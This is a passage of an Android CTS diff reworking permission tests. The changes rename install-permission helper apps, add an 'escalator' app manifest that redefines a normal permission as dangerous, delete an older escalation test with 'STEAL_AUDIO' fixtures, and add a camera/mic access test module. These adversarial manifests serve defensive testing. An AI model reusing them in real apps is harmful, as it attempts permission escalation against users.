mPm!!.checkPermission(targetPermission,
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionDefinerApp/Android.bp b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionDefinerApp/Android.bp
index 8c5ae37..cfb2836 100644
--- a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionDefinerApp/Android.bp
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionDefinerApp/Android.bp
@@ -21,6 +21,7 @@
test_suites: [
"cts",
"general-tests",
+ "sts",
],
certificate: ":cts-testkey1",
}
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionUserApp/Android.bp b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionUserApp/Android.bp
index 548a494..6915076 100644
--- a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionUserApp/Android.bp
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionUserApp/Android.bp
@@ -21,6 +21,7 @@
test_suites: [
"cts",
"general-tests",
+ "sts",
],
certificate: ":cts-testkey2",
}
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstalltimePermissionDefinerApp/Android.bp b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionDefinerApp/Android.bp
similarity index 93%
copy from tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstalltimePermissionDefinerApp/Android.bp
copy to tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionDefinerApp/Android.bp
index ee87737..f547c4f 100644
--- a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstalltimePermissionDefinerApp/Android.bp
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionDefinerApp/Android.bp
@@ -14,13 +14,14 @@
//
android_test_helper_app {
- name: "CtsInstalltimePermissionDefinerApp",
+ name: "CtsInstallPermissionDefinerApp",
defaults: ["cts_defaults"],
sdk_version: "current",
// Tag this module as a cts test artifact
test_suites: [
"cts",
"general-tests",
+ "sts",
],
certificate: ":cts-testkey1",
}
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstalltimePermissionDefinerApp/AndroidManifest.xml b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionDefinerApp/AndroidManifest.xml
similarity index 65%
copy from tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstalltimePermissionDefinerApp/AndroidManifest.xml
copy to tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionDefinerApp/AndroidManifest.xml
index 75ce567..2df6743 100644
--- a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstalltimePermissionDefinerApp/AndroidManifest.xml
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionDefinerApp/AndroidManifest.xml
@@ -15,14 +15,13 @@
* limitations under the License.
-->
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.permission.cts.revokepermissionwhenremoved.installtimepermissiondefinerapp">
+<manifest
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.permission.cts.revokepermissionwhenremoved.installpermissiondefinerapp">
- <permission android:name="android.permission.cts.revokepermissionwhenremoved.TestInstalltimePermission"
- android:protectionLevel="normal"
- android:label="TestInstalltimePermission"
- android:description="@string/test_permission" />
+ <permission
+ android:name="android.permission.cts.revokepermissionwhenremoved.TestInstallPermission"
+ android:protectionLevel="normal" />
- <application>
- </application>
+ <application />
</manifest>
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstalltimePermissionDefinerApp/Android.bp b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionEscalatorApp/Android.bp
similarity index 93%
rename from tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstalltimePermissionDefinerApp/Android.bp
rename to tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionEscalatorApp/Android.bp
index ee87737..44bb7e8 100644
--- a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstalltimePermissionDefinerApp/Android.bp
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionEscalatorApp/Android.bp
@@ -14,13 +14,14 @@
//
android_test_helper_app {
- name: "CtsInstalltimePermissionDefinerApp",
+ name: "CtsInstallPermissionEscalatorApp",
defaults: ["cts_defaults"],
sdk_version: "current",
// Tag this module as a cts test artifact
test_suites: [
"cts",
"general-tests",
+ "sts",
],
certificate: ":cts-testkey1",
}
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionEscalatorApp/AndroidManifest.xml b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionEscalatorApp/AndroidManifest.xml
new file mode 100644
index 0000000..6320618
--- /dev/null
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionEscalatorApp/AndroidManifest.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2020 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<manifest
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.permission.cts.revokepermissionwhenremoved.installpermissionescalatorapp">
+
+ <permission
+ android:name="android.permission.cts.revokepermissionwhenremoved.TestInstallPermission"
+ android:permissionGroup="android.permission-group.PHONE"
+ android:protectionLevel="dangerous" />
+
+ <application />
+</manifest>
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstalltimePermissionUserApp/Android.bp b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionUserApp/Android.bp
similarity index 93%
rename from tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstalltimePermissionUserApp/Android.bp
rename to tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionUserApp/Android.bp
index f720d7d..9cb7c55 100644
--- a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstalltimePermissionUserApp/Android.bp
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionUserApp/Android.bp
@@ -14,13 +14,14 @@
//
android_test_helper_app {
- name: "CtsInstalltimePermissionUserApp",
+ name: "CtsInstallPermissionUserApp",
defaults: ["cts_defaults"],
sdk_version: "current",
// Tag this module as a cts test artifact
test_suites: [
"cts",
"general-tests",
+ "sts",
],
certificate: ":cts-testkey2",
}
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstalltimePermissionDefinerApp/AndroidManifest.xml b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionUserApp/AndroidManifest.xml
similarity index 65%
rename from tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstalltimePermissionDefinerApp/AndroidManifest.xml
rename to tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionUserApp/AndroidManifest.xml
index 75ce567..acfafa9 100644
--- a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstalltimePermissionDefinerApp/AndroidManifest.xml
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionUserApp/AndroidManifest.xml
@@ -15,14 +15,11 @@
* limitations under the License.
-->
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.permission.cts.revokepermissionwhenremoved.installtimepermissiondefinerapp">
+<manifest
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.permission.cts.revokepermissionwhenremoved.installpermissionuserapp">
- <permission android:name="android.permission.cts.revokepermissionwhenremoved.TestInstalltimePermission"
- android:protectionLevel="normal"
- android:label="TestInstalltimePermission"
- android:description="@string/test_permission" />
+ <uses-permission android:name="android.permission.cts.revokepermissionwhenremoved.TestInstallPermission" />
- <application>
- </application>
+ <application />
</manifest>
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionDefinerApp/Android.bp b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionDefinerApp/Android.bp
index 0fc71427..8732641 100644
--- a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionDefinerApp/Android.bp
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionDefinerApp/Android.bp
@@ -21,6 +21,7 @@
test_suites: [
"cts",
"general-tests",
+ "sts",
],
certificate: ":cts-testkey1",
}
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionUserApp/Android.bp b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionUserApp/Android.bp
index f076640..79dd52ea 100644
--- a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionUserApp/Android.bp
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionUserApp/Android.bp
@@ -21,6 +21,7 @@
test_suites: [
"cts",
"general-tests",
+ "sts",
],
certificate: ":cts-testkey2",
}
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/VictimPermissionDefinerApp/Android.bp b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/VictimPermissionDefinerApp/Android.bp
index 756be5e..dc10abd 100644
--- a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/VictimPermissionDefinerApp/Android.bp
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/VictimPermissionDefinerApp/Android.bp
@@ -21,6 +21,7 @@
test_suites: [
"cts",
"general-tests",
+ "sts",
],
certificate: ":cts-testkey1",
}
diff --git a/tests/tests/permission2/res/raw/android_manifest.xml b/tests/tests/permission2/res/raw/android_manifest.xml
index cbcaf24..9d63a78 100644
--- a/tests/tests/permission2/res/raw/android_manifest.xml
+++ b/tests/tests/permission2/res/raw/android_manifest.xml
@@ -4291,6 +4291,10 @@
<permission android:name="android.permission.WRITE_DREAM_STATE"
android:protectionLevel="signature|privileged" />
+ <!-- @hide Allows applications to read whether ambient display is suppressed. -->
+ <permission android:name="android.permission.READ_DREAM_SUPPRESSION"
+ android:protectionLevel="signature" />
+
<!-- @SystemApi Allow an application to read and write the cache partition.
@hide -->
<permission android:name="android.permission.ACCESS_CACHE_FILESYSTEM"
diff --git a/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java b/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
index d3f6942..bb48193 100644
--- a/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
+++ b/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
@@ -69,9 +69,6 @@
private static final String MANAGE_COMPANION_DEVICES_PERMISSION
= "android.permission.MANAGE_COMPANION_DEVICES";
- private static final Date INPUT_CONSUMER_PATCH_DATE = parseDate("2020-12-05");
- private static final String INPUT_CONSUMER_PERMISSION = "android.permission.INPUT_CONSUMER";
-
private static final String LOG_TAG = "PermissionProtectionTest";
private static final String PLATFORM_PACKAGE_NAME = "android";
@@ -454,8 +451,6 @@
return parseDate(SECURITY_PATCH).before(HIDE_NON_SYSTEM_OVERLAY_WINDOWS_PATCH_DATE);
case MANAGE_COMPANION_DEVICES_PERMISSION:
return parseDate(SECURITY_PATCH).before(MANAGE_COMPANION_DEVICES_PATCH_DATE);
- case INPUT_CONSUMER_PERMISSION:
- return parseDate(SECURITY_PATCH).before(INPUT_CONSUMER_PATCH_DATE);
default:
return false;
}
diff --git a/tests/tests/permission3/Android.bp b/tests/tests/permission3/Android.bp
index 576e1ed..bdc5728 100644
--- a/tests/tests/permission3/Android.bp
+++ b/tests/tests/permission3/Android.bp
@@ -27,8 +27,6 @@
"ctstestrunner-axt",
],
data: [
- ":CtsPermissionEscalationAppNonRuntime",
- ":CtsPermissionEscalationAppRuntime",
":CtsPermissionPolicyApp25",
":CtsUsePermissionApp22",
":CtsUsePermissionApp22CalendarOnly",
diff --git a/tests/tests/permission3/AndroidTest.xml b/tests/tests/permission3/AndroidTest.xml
index 557de85..cdf7308 100644
--- a/tests/tests/permission3/AndroidTest.xml
+++ b/tests/tests/permission3/AndroidTest.xml
@@ -33,8 +33,6 @@
</target_preparer>
<target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
- <option name="push" value="CtsPermissionEscalationAppNonRuntime.apk->/data/local/tmp/cts/permission3/CtsPermissionEscalationAppNonRuntime.apk" />
- <option name="push" value="CtsPermissionEscalationAppRuntime.apk->/data/local/tmp/cts/permission3/CtsPermissionEscalationAppRuntime.apk" />
<option name="push" value="CtsPermissionPolicyApp25.apk->/data/local/tmp/cts/permission3/CtsPermissionPolicyApp25.apk" />
<option name="push" value="CtsUsePermissionApp22.apk->/data/local/tmp/cts/permission3/CtsUsePermissionApp22.apk" />
<option name="push" value="CtsUsePermissionApp22CalendarOnly.apk->/data/local/tmp/cts/permission3/CtsUsePermissionApp22CalendarOnly.apk" />
diff --git a/tests/tests/permission3/PermissionEscalationAppNonRuntime/Android.bp b/tests/tests/permission3/PermissionEscalationAppNonRuntime/Android.bp
deleted file mode 100644
index dd59e9c..0000000
--- a/tests/tests/permission3/PermissionEscalationAppNonRuntime/Android.bp
+++ /dev/null
@@ -1,20 +0,0 @@
-//
-// Copyright (C) 2016 The Android Open Source Project
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-// http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
-//
-
-android_test_helper_app {
- name: "CtsPermissionEscalationAppNonRuntime",
- certificate: ":cts-testkey2",
-}
diff --git a/tests/tests/permission3/PermissionEscalationAppNonRuntime/AndroidManifest.xml b/tests/tests/permission3/PermissionEscalationAppNonRuntime/AndroidManifest.xml
deleted file mode 100644
index 1584686..0000000
--- a/tests/tests/permission3/PermissionEscalationAppNonRuntime/AndroidManifest.xml
+++ /dev/null
@@ -1,37 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-
-<!--
- ~ Copyright (C) 2016 The Android Open Source Project
- ~
- ~ Licensed under the Apache License, Version 2.0 (the "License");
- ~ you may not use this file except in compliance with the License.
- ~ You may obtain a copy of the License at
- ~
- ~ http://www.apache.org/licenses/LICENSE-2.0
- ~
- ~ Unless required by applicable law or agreed to in writing, software
- ~ distributed under the License is distributed on an "AS IS" BASIS,
- ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- ~ See the License for the specific language governing permissions and
- ~ limitations under the License.
- -->
-
-<manifest
- xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.permission3.cts.permissionescalation">
-
- <permission
- android:name="android.permission3.cts.permissionescalation.STEAL_AUDIO1"
- android:permissionGroup="android.permission-group.MICROPHONE"
- android:protectionLevel="normal" />
-
- <permission
- android:name="android.permission3.cts.permissionescalation.STEAL_AUDIO2"
- android:permissionGroup="android.permission-group.MICROPHONE"
- android:protectionLevel="signature" />
-
- <uses-permission android:name="android.permission3.cts.permissionescalation.STEAL_AUDIO1" />
- <uses-permission android:name="android.permission3.cts.permissionescalation.STEAL_AUDIO2" />
-
- <application android:hasCode="false" />
-</manifest>
diff --git a/tests/tests/permission3/PermissionEscalationAppRuntime/Android.bp b/tests/tests/permission3/PermissionEscalationAppRuntime/Android.bp
deleted file mode 100644
index b41701d..0000000
--- a/tests/tests/permission3/PermissionEscalationAppRuntime/Android.bp
+++ /dev/null
@@ -1,20 +0,0 @@
-//
-// Copyright (C) 2016 The Android Open Source Project
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-// http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
-//
-
-android_test_helper_app {
- name: "CtsPermissionEscalationAppRuntime",
- certificate: ":cts-testkey2",
-}
diff --git a/tests/tests/permission3/PermissionEscalationAppRuntime/AndroidManifest.xml b/tests/tests/permission3/PermissionEscalationAppRuntime/AndroidManifest.xml
deleted file mode 100644
index 4f2eb75..0000000
--- a/tests/tests/permission3/PermissionEscalationAppRuntime/AndroidManifest.xml
+++ /dev/null
@@ -1,37 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-
-<!--
- ~ Copyright (C) 2016 The Android Open Source Project
- ~
- ~ Licensed under the Apache License, Version 2.0 (the "License");
- ~ you may not use this file except in compliance with the License.
- ~ You may obtain a copy of the License at
- ~
- ~ http://www.apache.org/licenses/LICENSE-2.0
- ~
- ~ Unless required by applicable law or agreed to in writing, software
- ~ distributed under the License is distributed on an "AS IS" BASIS,
- ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- ~ See the License for the specific language governing permissions and
- ~ limitations under the License.
- -->
-
-<manifest
- xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.permission3.cts.permissionescalation">
-
- <permission
- android:name="android.permission3.cts.permissionescalation.STEAL_AUDIO1"
- android:permissionGroup="android.permission-group.MICROPHONE"
- android:protectionLevel="dangerous" />
-
- <permission
- android:name="android.permission3.cts.permissionescalation.STEAL_AUDIO2"
- android:permissionGroup="android.permission-group.MICROPHONE"
- android:protectionLevel="dangerous" />
-
- <uses-permission android:name="android.permission3.cts.permissionescalation.STEAL_AUDIO1" />
- <uses-permission android:name="android.permission3.cts.permissionescalation.STEAL_AUDIO2" />
-
- <application android:hasCode="false" />
-</manifest>
diff --git a/tests/tests/permission3/UsePermissionAppWithOverlay/res/layout/overlay_activity.xml b/tests/tests/permission3/UsePermissionAppWithOverlay/res/layout/overlay_activity.xml
index 0335357..96b4df7 100644
--- a/tests/tests/permission3/UsePermissionAppWithOverlay/res/layout/overlay_activity.xml
+++ b/tests/tests/permission3/UsePermissionAppWithOverlay/res/layout/overlay_activity.xml
@@ -21,6 +21,10 @@
android:background="@drawable/border"
android:padding="8dp" >
+ <View android:layout_width="match_parent"
+ android:layout_height="0dp"
+ android:layout_weight="1" />
+
<TextView android:id="@+id/overlay_description"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
diff --git a/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt b/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt
index 3af1b50..9721517 100644
--- a/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt
@@ -127,7 +127,7 @@
return UiAutomatorUtils.waitFindObject(selector, timeoutMillis)
}
- protected fun click(selector: BySelector, timeoutMillis: Long = 10_000) {
+ protected fun click(selector: BySelector, timeoutMillis: Long = 20_000) {
waitFindObject(selector, timeoutMillis).click()
waitForIdle()
}
diff --git a/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt b/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt
index 8aedb6d..bea7a16 100644
--- a/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt
@@ -448,6 +448,7 @@
data = Uri.fromParts("package", APP_PACKAGE_NAME, null)
addCategory(Intent.CATEGORY_DEFAULT)
addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
+ addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK)
}
)
// Open the permissions UI
diff --git a/tests/tests/permission3/src/android/permission3/cts/PermissionEscalationTest.kt b/tests/tests/permission3/src/android/permission3/cts/PermissionEscalationTest.kt
deleted file mode 100644
index f4a6804..0000000
--- a/tests/tests/permission3/src/android/permission3/cts/PermissionEscalationTest.kt
+++ /dev/null
@@ -1,61 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.permission3.cts
-
-import android.content.pm.PermissionInfo
-import androidx.test.runner.AndroidJUnit4
-import org.junit.After
-import org.junit.Assert.assertEquals
-import org.junit.Before
-import org.junit.Test
-import org.junit.runner.RunWith
-
-@RunWith(AndroidJUnit4::class)
-class PermissionEscalationTest : BasePermissionTest() {
- companion object {
- const val APP_APK_PATH_NON_RUNTIME =
- "$APK_DIRECTORY/CtsPermissionEscalationAppNonRuntime.apk"
- const val APP_APK_PATH_RUNTIME = "$APK_DIRECTORY/CtsPermissionEscalationAppRuntime.apk"
- const val APP_PACKAGE_NAME = "android.permission3.cts.permissionescalation"
- }
-
- @Before
- @After
- fun uninstallApp() {
- uninstallPackage(APP_PACKAGE_NAME, requireSuccess = false)
- }
-
- @Test
- fun testCannotEscalateNonRuntimePermissionsToRuntime() {
- installPackage(APP_APK_PATH_NON_RUNTIME)
- installPackage(APP_APK_PATH_RUNTIME, reinstall = true)
-
- // Ensure normal permission cannot be made dangerous
- val permissionInfo1 = packageManager.getPermissionInfo("$APP_PACKAGE_NAME.STEAL_AUDIO1", 0)
- assertEquals(
- "Shouldn't be able to change normal permission to dangerous",
- PermissionInfo.PROTECTION_NORMAL, permissionInfo1.protection
- )
-
- // Ensure signature permission cannot be made dangerous
- val permissionInfo2 = packageManager.getPermissionInfo("$APP_PACKAGE_NAME.STEAL_AUDIO2", 0)
- assertEquals(
- "Shouldn't be able to change signature permission to dangerous",
- PermissionInfo.PROTECTION_SIGNATURE, permissionInfo2.protection
- )
- }
-}
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstalltimePermissionUserApp/Android.bp b/tests/tests/permission4/Android.bp
similarity index 62%
copy from tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstalltimePermissionUserApp/Android.bp
copy to tests/tests/permission4/Android.bp
index f720d7d..ad1658d 100644
--- a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstalltimePermissionUserApp/Android.bp
+++ b/tests/tests/permission4/Android.bp
@@ -1,4 +1,5 @@
-// Copyright (C) 2019 The Android Open Source Project
+//
+// Copyright (C) 2020 The Android Open Source Project
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
@@ -13,14 +14,24 @@
// limitations under the License.
//
-android_test_helper_app {
- name: "CtsInstalltimePermissionUserApp",
+android_test {
+ name: "CtsPermission4TestCases",
+ sdk_version: "system_current",
defaults: ["cts_defaults"],
- sdk_version: "current",
- // Tag this module as a cts test artifact
+ platform_apis: true,
+ srcs: [
+ "src/**/*.kt",
+ ],
+ static_libs: [
+ "kotlin-stdlib",
+ "androidx.test.rules",
+ "compatibility-device-util-axt",
+ "ctstestrunner-axt",
+ ],
test_suites: [
"cts",
+ "vts10",
"general-tests",
+ "mts",
],
- certificate: ":cts-testkey2",
}
diff --git a/tests/tests/permission4/AndroidManifest.xml b/tests/tests/permission4/AndroidManifest.xml
new file mode 100644
index 0000000..d4cc71a
--- /dev/null
+++ b/tests/tests/permission4/AndroidManifest.xml
@@ -0,0 +1,41 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+ ~ Copyright (C) 2020 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<manifest
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.permission4.cts">
+
+ <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
+ <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />
+
+ <application>
+
+ <uses-library android:name="android.test.runner" />
+
+ <activity android:name=".StartForFutureActivity" />
+ </application>
+
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.permission4.cts"
+ android:label="CTS UI tests for permissions">
+ <meta-data
+ android:name="listener"
+ android:value="com.android.cts.runner.CtsTestRunListener" />
+ </instrumentation>
+</manifest>
diff --git a/tests/tests/permission4/AndroidTest.xml b/tests/tests/permission4/AndroidTest.xml
new file mode 100644
index 0000000..71353aa
--- /dev/null
+++ b/tests/tests/permission4/AndroidTest.xml
@@ -0,0 +1,40 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+ ~ Copyright (C) 2020 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<configuration description="Config for CTS Permission4 test cases">
+
+ <option name="test-suite-tag" value="cts" />
+
+ <option name="config-descriptor:metadata" key="component" value="framework" />
+ <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+ <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+
+ <object type="module_controller" class="com.android.tradefed.testtype.suite.module.Sdk30ModuleController" />
+
+ <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+ <option name="cleanup-apks" value="true" />
+ <option name="test-file-name" value="CtsPermission4TestCases.apk" />
+ <option name="test-file-name" value="CtsAppThatAccessesMicAndCameraPermission.apk" />
+ </target_preparer>
+
+ <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+ <option name="package" value="android.permission4.cts" />
+ <option name="runtime-hint" value="5m" />
+ </test>
+</configuration>
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstalltimePermissionUserApp/Android.bp b/tests/tests/permission4/AppThatAccessesCameraAndMic/Android.bp
similarity index 69%
copy from tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstalltimePermissionUserApp/Android.bp
copy to tests/tests/permission4/AppThatAccessesCameraAndMic/Android.bp
index f720d7d..508e44c 100644
--- a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstalltimePermissionUserApp/Android.bp
+++ b/tests/tests/permission4/AppThatAccessesCameraAndMic/Android.bp
@@ -1,4 +1,5 @@
-// Copyright (C) 2019 The Android Open Source Project
+//
+// Copyright (C) 2020 The Android Open Source Project
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
@@ -14,13 +15,23 @@
//
android_test_helper_app {
- name: "CtsInstalltimePermissionUserApp",
+ name: "CtsAppThatAccessesMicAndCameraPermission",
defaults: ["cts_defaults"],
- sdk_version: "current",
+ sdk_version: "system_current",
// Tag this module as a cts test artifact
test_suites: [
"cts",
+ "vts10",
"general-tests",
],
- certificate: ":cts-testkey2",
+
+ static_libs: [
+ "androidx.test.rules",
+ "kotlin-stdlib",
+ "kotlinx-coroutines-android",
+ ],
+
+ srcs: [
+ "src/**/*.kt"
+ ],
}
diff --git a/tests/tests/permission4/AppThatAccessesCameraAndMic/AndroidManifest.xml b/tests/tests/permission4/AppThatAccessesCameraAndMic/AndroidManifest.xml
new file mode 100644
index 0000000..938b5b5
--- /dev/null
+++ b/tests/tests/permission4/AppThatAccessesCameraAndMic/AndroidManifest.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2020 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.permission4.cts.appthataccessescameraandmic"
+ android:versionCode="1">
+
+ <uses-permission android:name="android.permission.RECORD_AUDIO"/>
+ <uses-permission android:name="android.permission.CAMERA"/>
+
+ <application android:label="CtsCameraMicAccess">
+ <activity android:name=".AccessCameraOrMicActivity"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="test.action.USE_CAMERA_OR_MIC" />
+ <category android:name="android.intent.category.DEFAULT" />
+ </intent-filter>
+ </activity>
+ </application>
+</manifest>
